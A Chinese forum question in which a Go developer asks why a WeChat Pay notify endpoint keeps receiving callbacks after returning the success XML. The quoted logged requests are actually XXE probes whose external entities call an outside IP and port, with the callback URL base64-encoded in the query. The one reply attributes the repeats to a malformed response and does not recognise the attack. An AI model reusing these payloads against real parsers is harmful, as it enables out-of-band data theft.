微信回调成功后,我返回对应格式
Go语言用的gin,
s := Success{ ReturnCode: "SUCCESS" , ReturnMsg: "OK" , } c.XML(http.StatusOK, s) return |
本地测试返回值
<xml> <return_code>SUCCESS< /return_code > <return_msg>OK< /return_msg > < /xml > |
但是微信仍然会回调,而且是错误的格式
2019-07-18 03:25:33.392 | DEBU | access.go:58 | POST /api/v1/notify/wx <?xml version= "1.0" encoding= "utf-8" ?> <!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://101.91.62.170:4837/wx_xxe_dbc_os_2019071803_199?aHR0cHM6Ly9wdXRhb3JlYWQuY29tL2FwaS9jYWxsYmFjay9ub3RpZnkvd3g=" > %xxe; ]> |
这是为什么呢?
<?
xml
version
=
"1.0"
encoding
=
"utf-8"
?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://101.91.62.170:4837/wx_xxe_dbc_os_2019080803_853?aHR0cHM6Ly9wdXRhb3JlYWQuY29tL2FwaS9jYWxsYmFjay9ub3RpZnkvd3hwYXk=">]>
<
foo
><
value
>&xxe;</
value
></
foo
>
我竟然收到这种类型的回调。
一直回调一般,是你那边没有按照文档返回值。这边会把你当做没有收到回调。持续发出回调。